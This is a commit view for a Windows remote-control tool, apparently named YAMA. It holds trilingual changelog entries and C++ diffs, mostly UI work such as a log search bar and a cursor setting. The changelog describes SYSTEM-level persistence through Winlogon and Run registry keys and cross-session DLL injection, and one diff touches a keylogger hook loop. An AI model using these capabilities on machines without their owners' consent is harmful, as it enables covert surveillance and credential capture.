4 Commits
21 changed files with 506 additions and 25 deletions

No files matched your search

+22
View File
@@ -378,6 +378,28 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志
### v1.3.8 (2026.8.3)
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
**新功能:**
- **客户端 SYSTEM 权限运行**:双模式自动适配(SYSTEM / Admin / User),Winlogon + Run 双路径注册表启动;`ScreenManager` 无用户会话时自动切换 DXGI,`KernelManager` 绕过用户态 API 以 NT 路径操作;跨会话 DLL 注入(`session.cpp`)实现 SYSTEM 会话向用户会话注入控制模块
- **在线主机权限等级列**:主机列表新增「权限」列,实时显示 SYSTEM(蓝色高亮)/ Admin / User,一眼识别受控端权限上下文
- **远程窗口管理菜单(View Windows)**:远程桌面新增 View Windows 菜单,可枚举目标机器顶层窗口并进行最大化、最小化、隐藏、关闭操作
- **违禁用户拉黑**:主机列表右键新增「禁止连接」,服务端发送 `COMMAND_FORBIDDEN`;客户端收到后断开连接并拒绝重连;附带 Forbidden 图标
- **客户端运行日志对话框**:`ClientLogManager` 每 3 秒增量推送日志到主控(`TOKEN_REPORT_LOG`);推送线程 `join()` 防 use-after-free;IOCP → UI 线程 `PostMessage` 防丢包;自带图标与菜单位图
- **消息日志搜索栏**:`LogSearchBar` 组件(286 行),关键字高亮、Prev/Next 导航跳转、Clear 清除
- **调试菜单(YAMA_DBG)**:主菜单新增调试入口,动态输入 `YAMA_DBG` 环境变量值,无需重启主控
**改进:**
- 远程桌面光标自定义设置持久化到注册表,下次自动恢复偏好
**Bug 修复:**
- 32 位 / 64 位主控切换崩溃:`KeyboardManager` 参数类型兼容 + 服务端位数检查
- Safari 移动端切回卡死:前台切回时强制重建 WebSocket + 服务端 30s 宽限期
- `RunFileReceiver` 误注册 `ReconnectProcess` 导致文件传输结束后杀主屏幕会话
- 隐私壁纸已设置时切换菜单再次点击执行清除而非弹框
### v1.3.7 (2026.6.26)
**Android 客户端 & 窗口捕获增强 & 安全加固**
+22
View File
@@ -378,6 +378,28 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog
### v1.3.8 (2026.8.3)
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
**New features:**
- **Client running as SYSTEM**: dual-mode auto-detection (SYSTEM / Admin / User), Winlogon + Run dual-path registry startup; `ScreenManager` auto-switches to DXGI when there is no user session; `KernelManager` bypasses user-mode APIs using NT paths; cross-session DLL injection (`session.cpp`) from SYSTEM to user session for desktop interaction
- **Privilege column in host list**: new "Privilege" column shows real-time permission level — **SYSTEM** (blue highlight), Admin, or User — instantly identifying each controlled endpoint's privilege context
- **View Windows menu for remote desktop**: new View Windows menu item enumerates all top-level windows on the target machine; supports maximize, minimize, hide, and close operations without leaving the remote desktop view
- **Forbid user (violation blacklist)**: right-click host list "Forbidden" sends `COMMAND_FORBIDDEN`; client disconnects and refuses reconnection to the same server; companion bitmap icon in menu
- **Client runtime log dialog**: `ClientLogManager` pushes incremental logs every 3s to the master (`TOKEN_REPORT_LOG`); push thread uses `join()` to prevent use-after-free; IOCP → UI thread via `PostMessage` to prevent dropped packets; dialog icon and menu bitmap included
- **Message log search bar**: `LogSearchBar` component (286 lines) with keyword highlighting, Prev/Next navigation, and Clear button
- **Debug menu (YAMA_DBG)**: new menu entry to input `YAMA_DBG` environment variable at runtime — no restart needed
**Improvements:**
- Remote desktop cursor customization settings now persisted to registry; preferences restored automatically on next session
**Bug fixes:**
- 32-bit / 64-bit master crash on switch: `KeyboardManager` parameter type compatibility + server-side bitness check
- Safari mobile Web remote desktop freeze on app-switch: force-clean WebSocket reconnect on foreground return + 30s server-side grace period
- `RunFileReceiver` incorrectly registering `ReconnectProcess`, killing the main screen session on file transfer completion
- Privacy wallpaper toggle menu now clears instead of re-picking when wallpaper is already set
### v1.3.7 (2026.6.26)
**Android Client & Window Capture & Security Hardening**
+22
View File
@@ -378,6 +378,28 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌
### v1.3.8 (2026.8.3)
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
**新功能:**
- **用戶端 SYSTEM 權限執行**:雙模式自動適配(SYSTEM / Admin / User),Winlogon + Run 雙路徑登錄檔啟動;`ScreenManager` 無使用者工作階段時自動切換 DXGI,`KernelManager` 繞過使用者態 API 以 NT 路徑操作;跨工作階段 DLL 注入(`session.cpp`)實現 SYSTEM 工作階段向使用者工作階段注入控制模組
- **線上主機權限等級欄**:主機列表新增「權限」欄,即時顯示 SYSTEM(藍色高亮)/ Admin / User,一眼識別受控端權限上下文
- **遠端視窗管理選單(View Windows)**:遠端桌面新增 View Windows 選單項目,可列舉目標機器頂層視窗並進行最大化、最小化、隱藏、關閉操作
- **違禁使用者封鎖**:主機列表右鍵新增「禁止連線」,伺服端發送 `COMMAND_FORBIDDEN`;用戶端收到後中斷連線並拒絕重連;附帶 Forbidden 圖示
- **用戶端執行記錄對話框**:`ClientLogManager` 每 3 秒增量推送記錄到主控(`TOKEN_REPORT_LOG`);推送執行緒使用 `join()` 防止 use-after-free;IOCP → UI 執行緒 `PostMessage` 防止遺失封包;自帶圖示與選單位圖
- **訊息記錄搜尋列**:`LogSearchBar` 元件(286 行),關鍵字高亮、Prev/Next 導航跳轉、Clear 清除
- **除錯選單(YAMA_DBG)**:主選單新增除錯入口,動態輸入 `YAMA_DBG` 環境變數值,無需重啟主控
**改進:**
- 遠端桌面游標自訂設定持久化到登錄檔,下次自動恢復偏好
**Bug 修復:**
- 32 位元 / 64 位元主控切換崩潰:`KeyboardManager` 參數型別相容 + 伺服端位元數檢查
- Safari 行動端切回凍結:前景切回時強制重建 WebSocket + 伺服端 30s 寬限期
- `RunFileReceiver` 誤註冊 `ReconnectProcess` 導致檔案傳輸結束後終止主螢幕工作階段
- 隱私桌布已設定時切換選單再次點擊執行清除而非彈框
### v1.3.7 (2026.6.26)
**Android 用戶端 & 視窗擷取增強 & 安全加固**
+1 -1
View File
@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1;
}
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
+8
View File
@@ -155,6 +155,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
m_ScreenSettings.QualityLevel = quality;
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
@@ -934,6 +935,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_ScreenSettings.RemoteCursor = remoteCursor;
break;
}
case CMD_CUSTOM_CURSOR: {
int CustomCursor = szBuffer[1];
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "CustomCursor", CustomCursor);
m_ScreenSettings.CustomCursor = CustomCursor;
break;
}
case CMD_MULTITHREAD_COMPRESS: {
int threadNum = szBuffer[1];
m_ClientObject->SetMultiThreadCompress(threadNum);
+2 -2
View File
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,7
FILEVERSION 1,0,3,8
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.7"
VALUE "FileVersion", "1.0.3.8"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"
BIN
View File
Binary file not shown.
+3 -1
View File
@@ -316,6 +316,7 @@ enum {
COMMAND_QUERY_LOG = 155,
TOKEN_REPORT_LOG = 156,
COMMAND_FORBIDDEN = 157,
CMD_CUSTOM_CURSOR = 158,
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
@@ -1305,7 +1306,8 @@ typedef struct ScreenSettings {
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
int EncodeLevel; // 偏移 48, 编码等级
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
int CustomCursor; // 偏移 52, 自定义光标
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
} ScreenSettings; // 总大小 100 字节
+9
View File
@@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance()
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
return FALSE;
}
iniFile cfg;
int bits = cfg.GetInt("auth", "bits", 64);
const int currentBits = sizeof(int*) * 8;
if (bits != currentBits) {
Mprintf("[InitInstance] 运行%d位程序,上次运行为%d位\n", currentBits, bits);
cfg.SetInt("auth", "bits", currentBits);
cfg.SetStr("auth", "version", "");
}
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
@@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance()
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
// 确保是正常模式(服务端已设置,这里再次确保)
THIS_CFG.SetInt("settings", "RunNormal", 1);
THIS_CFG.SetStr("auth", "version", "");
runNormal = 1;
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
Binary file not shown.
+98 -10
View File
@@ -62,6 +62,7 @@
#include "common/file_upload.h"
#include "SplashDlg.h"
#include "SearchBarDlg.h"
#include "LogSearchBar.h"
#include <ServerServiceWrapper.h>
#include "CDlgFileSend.h"
#include "CClientListDlg.h"
@@ -689,6 +690,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
m_pSearchBar->DestroyWindow();
SAFE_DELETE(m_pSearchBar);
}
if (m_pLogSearchBar) {
m_pLogSearchBar->DestroyWindow();
SAFE_DELETE(m_pLogSearchBar);
}
}
// DLL 请求限流成员函数实现 (根据配置限制请求频率)
@@ -932,6 +937,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_MSGLOG_DELETE, &CMy2015RemoteDlg::OnMsglogDelete)
ON_COMMAND(ID_MSGLOG_COPY, &CMy2015RemoteDlg::OnMsglogCopy)
ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
ON_COMMAND(ID_MSGLOG_SEARCH, &CMy2015RemoteDlg::OnMsglogSearch)
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
@@ -1429,6 +1435,9 @@ VOID CMy2015RemoteDlg::InitControl()
m_nSplitPos = max(60, min(m_nSplitPos, 600));
m_SplitterBar.Create(this);
m_pLogSearchBar = new CLogSearchBar();
m_pLogSearchBar->Create(this, &m_CList_Message);
// 不在这里调 ApplyThumbnailSettings —— 调用方在 LoadThumbnailSettingsFromCfg
// 之后统一 Apply(避免"先用默认值 Apply 一次,再读 INI 后再 Apply 一次"的双绘)。
}
@@ -1670,6 +1679,23 @@ LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
// 消息日志最大条数,达到上限时删除最旧的记录
#define MAX_MESSAGE_COUNT 1000
namespace {
bool MsgHasKW(const CString& s, const CString* kw, int n) {
for (int i = 0; i < n; i++)
if (s.Find(kw[i]) >= 0) return true;
return false;
}
int MsgColorLevel(const CString& type, const CString& msg) {
const CString redKW[] = { _L("严禁"), _L("禁止") };
const CString orangeKW[] = { _L("失败"), _L("警告") };
const CString greenKW[] = { _L("成功"), _L("请") };
if (MsgHasKW(type, redKW, _countof(redKW)) || MsgHasKW(msg, redKW, _countof(redKW))) return 1;
if (MsgHasKW(type, orangeKW, _countof(orangeKW)) || MsgHasKW(msg, orangeKW, _countof(orangeKW))) return 2;
if (MsgHasKW(msg, greenKW, _countof(greenKW))) return 3;
return 0;
}
}
VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
{
AUTO_TICK(200, "");
@@ -1682,9 +1708,10 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
m_CList_Message.DeleteItem(count - 1);
}
m_CList_Message.InsertItem(0, strType); //向控件中设置数据
m_CList_Message.SetItemText(0,1,strTime);
m_CList_Message.SetItemText(0,2,strMsg);
m_CList_Message.InsertItem(0, strType);
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, strMsg);
m_CList_Message.SetItemData(0, (DWORD_PTR)MsgColorLevel(strType, strMsg));
CString strStatusMsg;
@@ -1759,9 +1786,12 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam)
m_CList_Message.DeleteItem(count - 1);
}
m_CList_Message.InsertItem(0, title ? _L(*title) : _TR("操作错误"));
CString strTitle = title ? _L(*title) : _TR("操作错误");
CString strText = text ? _L(*text) : _TR("内部错误");
m_CList_Message.InsertItem(0, strTitle);
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, text ? _L(*text) : _TR("内部错误"));
m_CList_Message.SetItemText(0, 2, strText);
m_CList_Message.SetItemData(0, (DWORD_PTR)MsgColorLevel(strTitle, strText));
if(title)delete title;
if(text)delete text;
@@ -3225,7 +3255,8 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
lastType = nType;
BOOL hideLog = THIS_CFG.GetInt("settings", "HideMsg", 0) == 1;
const int SPLITTER_H = 6;
const int SPLITTER_H = 6;
const int LOG_SEARCH_H = 26; // 日志搜索条高度
// 日志区有效高度 = m_nSplitPos(不含分割条),分割条紧贴日志区上方
int splitPos = hideLog ? 0 : m_nSplitPos;
@@ -3252,6 +3283,22 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
}
LeaveCriticalSection(&m_cs);
if (m_pLogSearchBar && m_pLogSearchBar->GetSafeHwnd()) {
if (hideLog || !m_bLogSearchVisible) {
m_pLogSearchBar->ShowWindow(SW_HIDE);
} else {
m_pLogSearchBar->ShowWindow(SW_SHOW);
// 右对齐,最多 380px;左侧留出 180px 给分组信息
int barW = min(260, max(60, cx - 182));
int barX = cx - 2 - barW;
// 叠在在线列表底部右角:紧贴分割条上方,向上偏移一个条高
int barY = cy - 20 - splitPos - SPLITTER_H - LOG_SEARCH_H + 5;
m_pLogSearchBar->MoveWindow(barX, barY, barW, LOG_SEARCH_H);
// 保证搜索条在列表控件上层(BringWindowToTop 仅影响 Z-order,不影响焦点)
m_pLogSearchBar->BringWindowToTop();
}
}
if (m_SplitterBar.m_hWnd != NULL) {
if (hideLog) {
m_SplitterBar.ShowWindow(SW_HIDE);
@@ -9196,10 +9243,40 @@ void CMy2015RemoteDlg::OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult)
case CDDS_ITEMPREPAINT: {
int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
int nLastRow = m_CList_Message.GetItemCount() - 1;
if (nRow == nLastRow && nLastRow >= 0) {
pLVCD->clrText = RGB(255, 0, 0);
// 搜索命中行深蓝高亮(不依赖 CDIS_SELECTED,直接读搜索栏当前命中行号)
if (m_pLogSearchBar) {
int nHit = m_pLogSearchBar->GetHighlightedRow();
if (nHit >= 0 && nRow == nHit) {
pLVCD->clrTextBk = RGB(0, 80, 180);
pLVCD->clrText = RGB(255, 255, 255);
*pResult = CDRF_NEWFONT;
return;
}
}
// 关键字着色:必须同时设 clrText + clrTextBk,否则系统预填的蓝色会泄漏
int colorLevel = (int)m_CList_Message.GetItemData(nRow);
COLORREF bkDefault = ::GetSysColor(COLOR_WINDOW);
if (colorLevel == 1) {
pLVCD->clrText = RGB(220, 0, 0);
pLVCD->clrTextBk = bkDefault;
*pResult = CDRF_NEWFONT;
return;
}
if (colorLevel == 2) {
pLVCD->clrText = RGB(200, 100, 0);
pLVCD->clrTextBk = bkDefault;
*pResult = CDRF_NEWFONT;
return;
}
if (colorLevel == 3) {
pLVCD->clrText = RGB(0, 140, 0);
pLVCD->clrTextBk = bkDefault;
*pResult = CDRF_NEWFONT;
return;
}
break;
}
}
}
@@ -9213,6 +9290,9 @@ void CMy2015RemoteDlg::OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult)
menu.AppendMenu(MF_STRING, ID_MSGLOG_DELETE, _TR("删除选中"));
menu.AppendMenu(MF_STRING, ID_MSGLOG_COPY, _TR("复制选中"));
menu.AppendMenu(MF_STRING, ID_MSGLOG_CLEAR, _TR("清空日志"));
menu.AppendMenu(MF_SEPARATOR);
menu.AppendMenu(MF_STRING, ID_MSGLOG_SEARCH,
m_bLogSearchVisible ? _TR("隐藏搜索") : _TR("搜索日志"));
// 没有选中项时禁用"删除选中"
if (m_CList_Message.GetSelectedCount() == 0) {
@@ -9237,7 +9317,7 @@ void CMy2015RemoteDlg::OnMsglogDelete()
while (pos) {
selected.push_back(m_CList_Message.GetNextSelectedItem(pos));
}
// 倒序删除
// 倒序删除,避免索引变化
for (auto it = selected.rbegin(); it != selected.rend(); ++it) {
m_CList_Message.DeleteItem(*it);
}
@@ -9280,6 +9360,14 @@ void CMy2015RemoteDlg::OnMsglogClear()
m_CList_Message.DeleteAllItems();
}
void CMy2015RemoteDlg::OnMsglogSearch()
{
m_bLogSearchVisible = !m_bLogSearchVisible;
// 复用 OnSize 里的布局逻辑
CRect rc;
GetClientRect(&rc);
OnSize(SIZE_RESTORED, rc.Width(), rc.Height());
}
void CMy2015RemoteDlg::OnOnlineAddWatch()
{
+5 -1
View File
@@ -75,6 +75,7 @@ class CSplashDlg; // 前向声明
class CClientListDlg;
class CLicenseDlg;
class CSearchBarDlg;
class CLogSearchBar;
#include "pwd_gen.h"
@@ -140,7 +141,9 @@ public:
_ClientList *m_ClientMap = nullptr;
CClientListDlg* m_pClientListDlg = nullptr;
CLicenseDlg* m_pLicenseDlg = nullptr;
CSearchBarDlg* m_pSearchBar = nullptr; // 搜索工具栏
CSearchBarDlg* m_pSearchBar = nullptr;
CLogSearchBar* m_pLogSearchBar = nullptr;
bool m_bLogSearchVisible = false; // 日志搜索条是否显示(右键菜单切换)
BOOL m_bEnableFileV2 = FALSE; // V2 文件传输开关
// 构造
@@ -560,6 +563,7 @@ public:
afx_msg void OnMsglogDelete();
afx_msg void OnMsglogCopy();
afx_msg void OnMsglogClear();
afx_msg void OnMsglogSearch();
afx_msg void OnOnlineAddWatch();
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
@@ -291,6 +291,7 @@
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="CClientListDlg.h" />
<ClInclude Include="CClientLog.h" />
<ClInclude Include="LogSearchBar.h" />
<ClInclude Include="CDlgFileSend.h" />
<ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="CGridDialog.h" />
@@ -373,6 +374,7 @@
<ItemGroup>
<ClCompile Include="..\..\client\Audio.cpp" />
<ClCompile Include="CClientLog.cpp" />
<ClCompile Include="LogSearchBar.cpp" />
<ClCompile Include="msvc_compat.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
+229
View File
@@ -0,0 +1,229 @@
// LogSearchBar.cpp - 日志列表搜索条实现
#include "stdafx.h"
#include "LogSearchBar.h"
#include "LangManager.h"
BEGIN_MESSAGE_MAP(CLogSearchBar, CWnd)
ON_WM_CREATE()
ON_WM_SIZE()
ON_WM_ERASEBKGND()
ON_WM_TIMER()
ON_EN_CHANGE(IDC_LOG_SEARCH_EDIT, OnEnChangeSearch)
ON_BN_CLICKED(IDC_LOG_SEARCH_PREV, OnBnClickedPrev)
ON_BN_CLICKED(IDC_LOG_SEARCH_NEXT, OnBnClickedNext)
ON_BN_CLICKED(IDC_LOG_SEARCH_CLEAR, OnBnClickedClear)
END_MESSAGE_MAP()
CLogSearchBar::CLogSearchBar()
{
}
CLogSearchBar::~CLogSearchBar()
{
}
BOOL CLogSearchBar::Create(CWnd* pParent, CListCtrl* pList)
{
m_pList = pList;
LPCTSTR cls = AfxRegisterWndClass(CS_HREDRAW | CS_VREDRAW,
::LoadCursor(NULL, IDC_ARROW));
return CWnd::Create(cls, _T(""), WS_CHILD | WS_CLIPCHILDREN,
CRect(0, 0, 1, 1), pParent, 0);
}
int CLogSearchBar::OnCreate(LPCREATESTRUCT lpcs)
{
if (CWnd::OnCreate(lpcs) == -1) return -1;
// 搜索输入框
m_editSearch.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_EDIT);
m_editSearch.SetCueBanner(L"搜索日志...", TRUE);
// 清除按钮
m_btnClear.Create(_T("X"), WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_FLAT,
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_CLEAR);
// 上一个 / 下一个按钮(系统样式,与浅色背景融合)
m_btnPrev.Create(_T("▲"), WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_FLAT,
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_PREV);
m_btnNext.Create(_T("▼"), WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_FLAT,
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_NEXT);
// 结果计数
m_staticCount.Create(_T(""), WS_CHILD | WS_VISIBLE | SS_CENTER | SS_CENTERIMAGE,
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_COUNT);
// 统一字体:跟父窗口(主对话框)保持一致
CFont* pFont = GetParent()->GetFont();
if (pFont) {
m_staticCount.SetFont(pFont);
m_editSearch.SetFont(pFont);
m_btnClear.SetFont(pFont);
m_btnPrev.SetFont(pFont);
m_btnNext.SetFont(pFont);
}
return 0;
}
void CLogSearchBar::LayoutControls(int cx, int cy)
{
if (!m_editSearch.GetSafeHwnd()) return;
const int m = 2;
const int h = cy - 2 * m;
if (h <= 0) return;
const int btnW = h;
const int cntW = 62;
// 搜索框填满剩余空间(barW 由外部控制总宽,这里保证控件铺满)
const int editW = max(20, cx - 2 * m - 3 * btnW - 2 * m - cntW);
int x = m;
m_staticCount.MoveWindow(x, m, cntW, h);
x += cntW + m;
m_editSearch.MoveWindow(x, m, editW, h);
x += editW + m;
m_btnClear.MoveWindow(x, m, btnW, h);
x += btnW;
m_btnPrev.MoveWindow(x, m, btnW, h);
x += btnW;
m_btnNext.MoveWindow(x, m, btnW, h);
}
void CLogSearchBar::OnSize(UINT nType, int cx, int cy)
{
CWnd::OnSize(nType, cx, cy);
LayoutControls(cx, cy);
}
BOOL CLogSearchBar::OnEraseBkgnd(CDC* pDC)
{
CRect rc;
GetClientRect(&rc);
pDC->FillSolidRect(rc, ::GetSysColor(COLOR_3DFACE));
return TRUE;
}
void CLogSearchBar::OnEnChangeSearch()
{
KillTimer(TIMER_SEARCH);
SetTimer(TIMER_SEARCH, SEARCH_DELAY_MS, NULL);
}
void CLogSearchBar::OnTimer(UINT_PTR nIDEvent)
{
if (nIDEvent == TIMER_SEARCH) {
KillTimer(TIMER_SEARCH);
DoSearch();
}
CWnd::OnTimer(nIDEvent);
}
void CLogSearchBar::DoSearch()
{
if (!m_pList || !m_pList->GetSafeHwnd()) return;
CString kw;
m_editSearch.GetWindowText(kw);
m_Results.clear();
m_nCurrentIndex = -1;
if (kw.IsEmpty()) {
UpdateCountText();
return;
}
CString kwLow = kw;
kwLow.MakeLower();
int nCols = m_pList->GetHeaderCtrl() ? m_pList->GetHeaderCtrl()->GetItemCount() : 1;
int nItems = m_pList->GetItemCount();
for (int i = 0; i < nItems; i++) {
for (int c = 0; c < nCols; c++) {
CString cell = m_pList->GetItemText(i, c);
cell.MakeLower();
if (cell.Find(kwLow) >= 0) {
m_Results.push_back(i);
break;
}
}
}
if (!m_Results.empty()) {
m_nCurrentIndex = 0;
GotoMatch(m_nCurrentIndex);
}
UpdateCountText();
}
void CLogSearchBar::GotoMatch(int idx)
{
if (!m_pList || idx < 0 || idx >= (int)m_Results.size()) return;
int item = m_Results[idx];
// 取消所有选中
int n = -1;
while ((n = m_pList->GetNextItem(-1, LVNI_SELECTED)) != -1)
m_pList->SetItemState(n, 0, LVIS_SELECTED | LVIS_FOCUSED);
m_pList->SetItemState(item, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
m_pList->EnsureVisible(item, FALSE);
}
void CLogSearchBar::UpdateCountText()
{
CString text;
if (m_Results.empty()) {
CString kw;
m_editSearch.GetWindowText(kw);
text = kw.IsEmpty() ? _TR("") : _TR("无结果");
} else {
text.Format(_T("%d/%d"), m_nCurrentIndex + 1, (int)m_Results.size());
}
m_staticCount.SetWindowText(text);
}
void CLogSearchBar::InvalidateSearch()
{
KillTimer(TIMER_SEARCH);
m_Results.clear();
m_nCurrentIndex = -1;
UpdateCountText();
if (m_editSearch.GetSafeHwnd()) {
CString kw;
m_editSearch.GetWindowText(kw);
if (!kw.IsEmpty())
SetTimer(TIMER_SEARCH, SEARCH_DELAY_MS, NULL);
}
}
void CLogSearchBar::OnBnClickedPrev()
{
if (m_Results.empty()) return;
m_nCurrentIndex--;
if (m_nCurrentIndex < 0)
m_nCurrentIndex = (int)m_Results.size() - 1;
GotoMatch(m_nCurrentIndex);
UpdateCountText();
}
void CLogSearchBar::OnBnClickedNext()
{
if (m_Results.empty()) return;
m_nCurrentIndex++;
if (m_nCurrentIndex >= (int)m_Results.size())
m_nCurrentIndex = 0;
GotoMatch(m_nCurrentIndex);
UpdateCountText();
}
void CLogSearchBar::OnBnClickedClear()
{
m_editSearch.SetWindowText(_T(""));
m_editSearch.SetFocus();
// 触发 EN_CHANGE → 定时器 → DoSearch 清空结果
}
+57
View File
@@ -0,0 +1,57 @@
// LogSearchBar.h - 日志列表搜索条(嵌入式,固定在右侧)
#pragma once
#include <afxwin.h>
#include <afxcmn.h>
#include <vector>
#define IDC_LOG_SEARCH_EDIT 5001
#define IDC_LOG_SEARCH_PREV 5002
#define IDC_LOG_SEARCH_NEXT 5003
#define IDC_LOG_SEARCH_COUNT 5004
#define IDC_LOG_SEARCH_CLEAR 5005
class CLogSearchBar : public CWnd
{
public:
CLogSearchBar();
virtual ~CLogSearchBar();
// pParent: 主对话框; pList: 要搜索的 CListCtrl(m_CList_Message)
BOOL Create(CWnd* pParent, CListCtrl* pList);
void InvalidateSearch();
// 当前命中行的列表索引,无命中返回 -1(纯内存读)
int GetHighlightedRow() const {
if (m_nCurrentIndex < 0 || m_nCurrentIndex >= (int)m_Results.size()) return -1;
return m_Results[m_nCurrentIndex];
}
protected:
CListCtrl* m_pList = nullptr;
CEdit m_editSearch;
CButton m_btnPrev;
CButton m_btnNext;
CButton m_btnClear;
CStatic m_staticCount;
std::vector<int> m_Results; // 匹配行索引
int m_nCurrentIndex = -1;
void DoSearch();
void GotoMatch(int idx);
void UpdateCountText();
void LayoutControls(int cx, int cy);
DECLARE_MESSAGE_MAP()
afx_msg int OnCreate(LPCREATESTRUCT lpcs);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnEnChangeSearch();
afx_msg void OnBnClickedPrev();
afx_msg void OnBnClickedNext();
afx_msg void OnBnClickedClear();
static const UINT TIMER_SEARCH = 1;
static const UINT SEARCH_DELAY_MS = 400;
};
+9 -7
View File
@@ -754,7 +754,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ENABLE_SSE2, m_Settings.CpuSpeedup == 1 ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_FAST_STRETCH, GetFastStretchMode() ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_bUseCustomCursor ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_Settings.CustomCursor ? MF_CHECKED : MF_UNCHECKED);
CMenu fpsMenu;
if (fpsMenu.CreatePopupMenu()) {
@@ -1368,7 +1368,7 @@ VOID CScreenSpyDlg::OnReceiveComplete()
m_dwCustomCursorHash = hash;
